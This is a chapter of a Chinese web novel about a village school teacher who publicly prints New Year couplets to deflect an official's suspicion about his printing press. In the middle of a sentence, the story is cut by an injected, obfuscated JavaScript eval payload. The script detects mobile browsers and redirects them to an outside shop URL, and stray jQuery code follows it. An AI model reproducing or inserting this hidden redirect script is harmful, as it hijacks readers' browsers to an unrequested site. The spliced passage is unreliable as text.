腊月二十九，晨。


    雪后初晴，天光乍破。青石镇的屋瓦上积雪未消，在晨光里泛着淡淡的金。檐下的冰凌开始滴水，嗒，嗒，嗒，像更漏，计量着年关最后的时辰。


    张静轩一夜未眠。


    他坐在书房里，看着窗外渐渐亮起来的天色。昨夜送走陈启明后，他就一直坐在这里，脑子里反复回放着夜校那一幕——那本突然出现的禁书，陈启明挺身而出的背影，还有吴干事镜片后那双冰冷的眼睛。


    书案上摊着那套简易印刷设备。是陈启明临走前留下的，只有一个手摇印刷机和几盒常用铅字，油墨也只够用半个月。“够印教材了。”陈启明当时说，“等开春，我再托人送新的来。”


    这话说得轻松，但张静轩知道，这一别，不知何时能再见。陈启明他们这一走，是避祸，也是保护。把所有的风险都带走了，留给学堂的，是一个暂时安全的空壳。


    可空壳能撑多久？


    门轻轻响了。张静远推门进来，手里端着碗热粥：“一夜没睡？”


    张静轩接过粥，碗壁烫手：“睡不着。”


    “我也没睡。”张静远在对面坐下，揉了揉眉心，“后半夜，我去码头看了看。”


    “有什么发现？”


    “那辆黑马车还在。”张静远声音低沉，“停在‘悦来茶馆’后院，马没卸套，随时能走。吴干事……没走。”


    这在意料之中。张静轩吹了吹粥，热气氤氲了他的脸：“他在等什么？”


    “等腊月三十。”张静远顿了顿，“等省城来那个人。”


    腊月三十，就是明天。年关最后一天，也是约定中“省城来人”的日子。吴干事留下，显然是为了接应。


    “大哥，”张静轩放下碗，“你觉得……省城会来谁？”


    张静远沉默片刻，缓缓道：“能让吴干事这样等，能让孙维民那伙人俯首帖耳的……不会是小角色。可能……是王秉章本人，也可能……是他背后更上面的人。”


    “他们到底想干什么？”


    “不知道。”张静远摇头，“但肯定不是好事。昨夜那出戏，只是试探。试探咱们的反应，试探街坊们的态度。真正的杀招，恐怕在明天。”


    张静轩感到一阵无力。这种看不见对手、猜不透意图的对抗，比明刀明枪更磨人。你永远不知道下一刀从哪里来，什么时候来。


    “那咱们……”


    “该做什么还做什么。”张静远站起身，走到窗前，“学堂照常，夜校继续。今天腊月二十九，该备年货备年货，该贴春联贴春联。越正常，他们越没辙。”


    话虽如此，但张静轩知道，大哥心里也没底。只是作为兄长，作为这个家的顶梁柱，他必须表现得镇定。


    早饭后，张静轩照例去学堂。雪后的街道比往日更热闹，年关的气氛冲淡了昨夜的不安。街坊们见面互相拜早年，孩子们在雪地里追逐嬉戏，红灯笼在檐下晃晃悠悠。


    路过陈老秀才家时，老人正在门口晒太阳。看见张静轩，他招招手：“静轩，来。”


    张静轩走过去。陈老秀才从袖里掏出个红封：“这个，给你。”


    “陈老先生，这……”


    “不是给你的，是给学堂的。”陈老秀才把红封塞进他手里，“昨夜的事，我看见了。那帮混账东西，想搅黄咱们的夜校。没门！”


    红封很厚，里面是银元。张静轩眼眶一热：“陈老先生，这怎么使得……”


    “使得。”陈老秀才摆摆手，“我老了，没几天活头了。这些钱，留着也没用，不如给学堂，给孩子们。”他顿了顿，压低声音，“静轩，昨夜那本书……不是偶然吧？”


    张静轩心头一震，没说话。


    “你不说，我也猜得到。”陈老秀才叹了口气，“有些人，见不得咱们好。但咱们偏要好给他们看！夜校，接着办！今晚我还去，我看谁敢捣乱！”


    这话说得硬气。张静轩深深一揖：“谢陈老先生。”


    “谢什么。”陈老秀才扶起他，“青石镇是我的根，学堂是青石镇的希望。护着学堂，就是护着根。”


    离开陈老家，张静轩心里暖了些。街坊们的支持，是实实在在的力量。昨夜那么一闹，非但没吓退大家，反而激起了众人的护犊之心。


    到学堂时，苏宛音和程秋实已经在忙了。祠堂里炭火盆烧得旺，昨晚被搅乱的桌椅重新摆好，黑板上的字迹擦得干干净净，准备写今天的夜校内容。


    “静轩，”苏宛音放下手中的抹布，“陈先生他们……安全离开了吧？”


    “应该安全。”张静轩点头，“雪夜赶路，不易追踪。”


    程秋实推了推眼镜，忧心忡忡：“设备少了那么多，以后印刷……”


    “陈先生留了一套简易的。”张静轩走到后厢房，掀开油布，“暂时够用。他说开春后再送新的来。”


    苏宛音看了看那套简陋的设备，轻声道：“委屈陈先生了。”


    “他说不委屈。”张静轩想起陈启明临走时的话，“换个地方，换个方式，继续做事。”


    三人沉默了片刻。窗外传来孩童的嬉笑声，是早起的学生来学堂玩雪。年假期间，学堂虽不上课，但孩子们还是喜欢来这里——这里有书，有黑板，有他们熟悉的先生。


    “今晚的夜校，”程秋实打破沉默，“还办吗？”


    “办。”张静轩肯定道，“陈老先生说了，他今晚还来。街坊们也都会来。”


    “可吴干事那边……”


    “他若来，咱们正常接待。”张静轩道，“他若捣乱，街坊们不会答应。”


    这倒也是。昨夜那场闹剧，街坊们都看在眼里。那本禁书出现得蹊跷，陈启明认领得干脆，明眼人都能看出有问题。今天若再来，不用学堂出面，街坊们的唾沫星子就能把那伙人淹了。


    “那今晚教什么？”苏宛音问。


    “还教实用的。”张静轩想了想，“教写‘福’字，教算年账，再教……教认钱币。过年要发压岁钱，这个最实在。”


    苏宛音眼睛一亮：“这个好。我去准备。”


    程秋实也点头：“我再写几副春联样版，让大家照着描。”


    分工明确，各自忙开。张静轩走到院子里，看着那棵老槐树。树杈上的积雪在阳光下慢慢融化，雪水顺着枝干流下，滴在树根处，渗进冻土里。


    像眼泪，也像甘露。


    他忽然想起大哥说的那句话：“真正的根基，扎在土里，看不见，但最结实。”


    学堂的根基，就是这些街坊的心。昨夜那场风波，非但没动摇根基，反而让根基扎得更深了。


    午前，周大栓来了。这位船工师傅今日没出工，特意来学堂帮忙。“静轩，”他搓着手，“昨晚那伙人，今早还在镇上转悠。我让码头的兄弟盯着呢，一有动静就来报。”


    “谢周叔。”


    “谢啥。”周大栓咧嘴笑，“学堂是咱们大家的，谁想动，先问问咱们答应不答应。”他顿了顿，“对了，水生那小子，昨晚回去可激动了，说长大了也要像陈先生那样，有担当。”


    张静轩笑了。这就是传承——陈启明担下风险，保护了学堂；水生看在眼里，记在心里。一代人影响一代人，希望就是这样传递的。


    午后，李铁匠也来了，扛着一捆木炭：“天冷，多备点炭，晚上夜校用。”放下炭，他又压低声音，“镇公所那边，赵明德的位子空了。听说……是吴干事暂时接管。”


    这消息重要。张静轩心头一紧：“吴干事接管镇公所？”


    “名义上是‘临时协理’。”李铁匠道，“说是赵明德‘涉嫌渎职’，被带走了，镇上的事务不能没人管。”


    好借口。张静轩明白了——吴干事这是要名正言顺地插手青石镇事务。有了“临时协理”这个身份，他查学堂、查印刷、查夜校，就都“合规”了。


    “还有，”李铁匠声音更低了，“吴干事今早去了趟砖窑。”


    砖窑？张静轩心头一震。那里有地下仓库，虽然昨夜清理过了，但若仔细查，难免留下痕迹。


    “他发现了什么？”


    “不知道。”李铁匠摇头，“我徒弟远远跟着，看见吴干事在窑里待了半个时辰，出来时脸色不好看。可能……没找到他想找的。”


    张静轩稍稍放心。昨夜他们处理得很干净，灰烬埋了，脚印扫了，应该没留线索。但吴干事既然盯上了砖窑，说明他已经怀疑那里了。


    送走李铁匠，张静轩在院子里踱步。雪后的阳光很好，照在身上暖洋洋的，但他心里却一片冰凉。


    吴干事在步步紧逼——接管镇公所，探查砖窑，下一步……可能就是直接搜查学堂了。虽然昨夜陈启明把大部分设备带走了，但留下的这套简易印刷机，还有那些铅字、油墨，若被查获，依然是“罪证”。


    得想个办法。


    他回到书房，看着那套简易设备。忽然，一个念头冒出来——如果……设备不是用来印教材的呢？


    他立刻去找苏宛音和程秋实。


    “我有个想法。”张静轩指着印刷设备，“今晚夜校，咱们当场印东西。”


    “印什么？”程秋实问。


    “印春联。”张静轩道，“就用这套设备，当场给街坊们印春联。内容就写‘福寿安康’‘五谷丰登’这些吉庆话。让所有人都看见——这套设备，只印这些。”


    苏宛音明白了：“你是要……当众证明设备的用途？”


    “对。”张静轩点头，“吴干事若来查，街坊们都能作证——这套设备，从没印过禁书，只印过教材和春联。”


    这主意大胆，但有效。当众演示，众目睽睽，比任何辩解都有力。


    “可咱们没印过春联……”程秋实犹豫。


    “现学。”张静轩道，“铅字都是现成的，拼起来就行。油墨不够，我去买。”


    说干就干。程秋实去准备春联内容，苏宛音去裁红纸，张静轩则上街买油墨。雪后的街道人来人往，他在“文宝斋”买了三盒油墨，又顺便买了些红纸、金粉——既然要印，就印得漂亮些。


    回学堂的路上，他看见那辆黑马车还停在“悦来茶馆”后院。车夫不在，车厢帘子拉着，看不清里面。张静轩加快脚步，匆匆而过。


    回到学堂，三人开始试验。程秋实拼好了“福”字和“春”字的铅版，苏宛音调好油墨，张静轩操作印刷机。手摇柄转动，滚筒压过铅版，沾上油墨，再压到红纸上——


    第一张春联印出来了。


    虽然墨色有些淡，字迹也有些模糊，但能看出是“福”字。三人相视一笑，有了信心。


    接着印“寿”字、“安”字、“康”字。一遍遍试验，墨色渐渐均匀，字迹渐渐清晰。到傍晚时，他们已经能印出像模像样的春联了。


    “今晚夜校，”张静轩看着桌上摊开的几十副春联，“每个来的人，送一副。”


    “那得印多少？”程秋实算着。


    “能印多少印多少。”张静轩道，“印不完的，明天继续。总之，要让所有人都看见，这套设备在做什么。”


    天色渐暗，学堂里点起灯。炭火盆烧得旺，暖意融融。陆陆续续地，街坊们来了——周大栓带着水生，李铁匠带着徒弟，陈老秀才拄着拐杖，还有卖豆腐的王婶、开杂货铺的刘掌柜……祠堂里很快坐满了人。


    戌时整，夜校开始。陈老秀才照例先讲话，老人家今天声音格外洪亮：“昨夜有些混账来捣乱，咱们不怕！夜校照办，学堂照开！今晚，学堂还要给大伙儿印春联，现场印，现场送！”


    掌声雷动。街坊们兴奋地交头接耳，目光都投向那套简易印刷设备。


    张静轩走到设备前，深吸一口气，开始操作。手摇柄转动，滚筒压过铅版，沾上油


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140670|196314||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    墨，再压到红纸上。一张印着“福”字的春联，缓缓出来。


    他举起春联，墨迹未干，在灯光下闪着光。


    “这副‘福’字春联，”他朗声道，“送给陈老先生。祝您福如东海，寿比南山！”


    陈老秀才接过春联，老泪纵横：“好，好！这‘福’字，我贴大门上！”


    接着印“寿”字，送给周大栓；“安”字，送给李铁匠；“康”字，送给王婶……一副副春联印出来，一个个街坊接过去。祠堂里气氛热烈，像过年提前到了。


    就在印到第二十副时，门口传来了脚步声。


    吴干事来了。


    他依然穿着灰色呢子大衣，戴着金丝眼镜，身后跟着两个人——正是昨夜捣乱的那个汉子和另一个手下。三人站在门口，看着祠堂里的热闹景象。


    张静轩停下印刷，抬头看向他。


    祠堂里安静下来。街坊们都转头看着门口，眼神里有警惕，有不满，也有隐隐的敌意。


    吴干事推了推眼镜，脸上挤出一个笑：“这么热闹？我也来凑凑。”


    他走进来，目光扫过印刷设备，扫过桌上摊开的春联，扫过街坊们手里的红纸。最后，停在张静轩脸上。


    “张同学，”他开口，“这是在印什么？”


    “印春联。”张静轩平静道，“过年了，给街坊们送点喜庆。”


    “哦？用印刷机印春联？”吴干事走到设备前，伸手摸了摸滚筒，“这设备……挺精巧。”


    “简易设备，只能印些简单的。”张静轩道，“印教材，印识字画，现在印春联。都是学堂用得着的。”


    吴干事点点头，拿起一张刚印好的春联，对着灯光看了看：“字迹清楚，墨色均匀。手艺不错。”他放下春联，转向街坊们，“乡亲们，这春联，喜欢吗？”


    “喜欢！”周大栓大声道，“比买的还好！”


    “就是！”李铁匠接话，“学堂有心了！”


    街坊们纷纷附和。吴干事的笑容僵了僵，但很快恢复：“喜欢就好。学堂为乡亲们做事，是该支持。”


    他顿了顿，忽然问：“张同学，这设备……是从哪儿来的？”


    来了。张静轩心头一紧，但面上平静：“合作方提供的。具体哪位，不方便说。”


    “合作方？”吴干事挑眉，“是那位……陈先生？”


    “陈先生已经离开了。”张静轩答得不卑不亢，“设备是他留下的，说是支持学堂办学。”


    “离开了？”吴干事眼中闪过一丝什么，“什么时候离开的？”


    “昨夜。”张静轩直视他，“夜校结束后。”


    这话说得巧妙——既承认陈启明离开，又暗示离开与夜校有关。吴干事若追问，就等于承认昨夜是他捣乱。


    吴干事果然没再追问。他沉默片刻，忽然笑了：“陈先生有心了。这设备，学堂用着合适就好。”


    他说完，转身要走，又停住：“对了，明日腊月三十，省教育学会有位领导要来青石镇考察。到时候，可能会来看看学堂。你们……准备一下。”


    这话像一颗石子投入平静的湖面。祠堂里顿时响起议论声。


    省教育学会的领导？腊月三十来？这分明是来者不善。


    张静轩深吸一口气，点头：“我们随时欢迎。”


    吴干事深深看了他一眼，带着人离开了。脚步声渐远，最终消失在雪夜里。


    祠堂里一片寂静。街坊们面面相觑，刚才的热闹荡然无存。


    陈老秀才拄着拐杖站起来，声音苍老但坚定：“怕什么？来就来！咱们学堂光明正大，不怕看！”


    “对！”周大栓拍案而起，“明日咱们都来，给学堂撑场子！”


    “都来！”李铁匠也站起来，“看他能怎样！”


    街坊们纷纷响应。张静轩看着那一张张朴实而坚定的脸，眼眶发热。


    这就是青石镇的百姓。平日里可能计较几分利，可能为点小事争吵，但大是大非面前，他们分得清，站得直。


    “静轩，”苏宛音轻声说，“明日……”


    “兵来将挡。”张静轩握紧拳，“咱们做好该做的，问心无愧。”


    夜校继续，但气氛已不同。街坊们没了之前的轻松，多了几分凝重。春联还在印，一副副红纸金字，在灯光下格外刺眼。


    像战书，也像旌旗。


    戌时三刻，夜校结束。街坊们拿着春联离开，每个人都走得慢，仿佛想把这一刻多留一会儿。


    张静轩送走最后一位街坊，关上门。祠堂里只剩下他们三人，还有那套简易印刷设备。


    “明日……”程秋实欲言又止。


    “明日的事，明日再说。”张静轩开始收拾设备，“今晚，咱们先把能做的做了。”


    他把印刷机擦干净，铅字归位，油墨盖好。动作很慢，很仔细，像在完成某种仪式。


    苏宛音和程秋实帮忙收拾春联，一张张叠好，用红绳捆起来。灯光下，红纸金字堆成小山，像一团燃烧的火。


    “静轩，”苏宛音忽然问，“你怕吗？”


    张静轩停下手，想了想，诚实地说：“怕。但怕也得做。”


    “为什么？”


    “因为……”他看向窗外，雪夜的青石镇宁静祥和，“因为这是咱们的根。根若没了，树就倒了。”


    苏宛音沉默。良久，她轻声道：“你说得对。”


    收拾完，三人离开学堂。雪又飘了起来，细密的雪粒在夜风里翻飞。张静轩走在最后，锁上门时，他回头看了一眼——


    祠堂里，灯光还亮着。


    那光透过窗纸，晕开一团暖黄，在雪夜里格外醒目。


    像灯塔，也像烽火。


    指引方向，也昭示存在。


    他深吸一口气，转身走入风雪。


    明日，腊月三十。年关最后一天。